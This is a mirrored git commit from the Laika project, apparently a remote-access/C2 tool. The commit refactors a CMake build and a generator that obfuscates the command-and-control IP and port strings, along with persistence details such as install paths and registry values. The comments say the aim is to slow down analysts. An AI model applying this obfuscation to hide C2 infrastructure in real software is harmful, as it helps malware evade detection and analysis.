1
0
mirror of https://github.com/CPunch/Laika.git synced 2025-10-15 03:50:08 +00:00

VMBoxGen refactor, obfuscate static CNC ip & port strings

- VMBoxGen is built before shared lib
- VMBoxGen has no reliance on the shared lib, just the config file
- main config was moved to the root cmakelists
This commit is contained in:
2022-05-19 01:42:40 -05:00
parent 8afaa4d157
commit 5aecc1b63f
11 changed files with 56 additions and 42 deletions

View File

@@ -8,7 +8,7 @@ set_property(GLOBAL PROPERTY USE_FOLDERS ON)
# compile vmTest
file(GLOB_RECURSE VMTESTSOURCE ${CMAKE_CURRENT_SOURCE_DIR}/src/**.c)
add_executable(VMBoxGen ${VMTESTSOURCE})
target_link_libraries(VMBoxGen PUBLIC LaikaLib)
target_link_libraries(VMBoxGen PUBLIC)
# add the 'DEBUG' preprocessor definition if we're compiling as Debug
target_compile_definitions(VMBoxGen PUBLIC "$<$<CONFIG:Debug>:DEBUG>")
@@ -16,8 +16,7 @@ target_compile_definitions(VMBoxGen PUBLIC "$<$<CONFIG:Debug>:DEBUG>")
# generate the VMBOXCONFIG file
if(LAIKA_OBFUSCATE)
add_custom_command(TARGET VMBoxGen POST_BUILD
DEPENDS VMBoxGen
COMMAND VMBoxGen ${LAIKA_VMBOXCONFIG}
COMMENT "Generating VMBox data & keys..."
COMMENT "Generating VMBox data & keys.."
)
endif ()

View File

@@ -1,12 +1,10 @@
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include <inttypes.h>
#include "lmem.h"
#include "lvm.h"
#include "lbox.h"
#include "lsodium.h"
#include "lconfig.h"
#define ERR(...) do { printf(__VA_ARGS__); exit(EXIT_FAILURE); } while(0);
#define RANDBYTE (rand() % UINT8_MAX)
@@ -73,6 +71,9 @@ int main(int argv, char **argc) {
srand(time(NULL)); /* really doesn't need to be cryptographically secure, the point is only to slow them down */
fprintf(out, PREAMBLE);
/* shared */
MAKESKIDDATA(LAIKA_CNC_IP);
MAKESKIDDATA(LAIKA_CNC_PORT);
/* linux */
MAKESKIDDATA(LAIKA_LIN_LOCK_FILE);
MAKESKIDDATA(LAIKA_LIN_INSTALL_DIR);
@@ -86,6 +87,8 @@ int main(int argv, char **argc) {
MAKESKIDDATA(LAIKA_WIN_REG_VAL);
fprintf(out, POSTAMBLE);
fclose(out);
printf("Wrote %s\n", argc[1]);
return 0;
}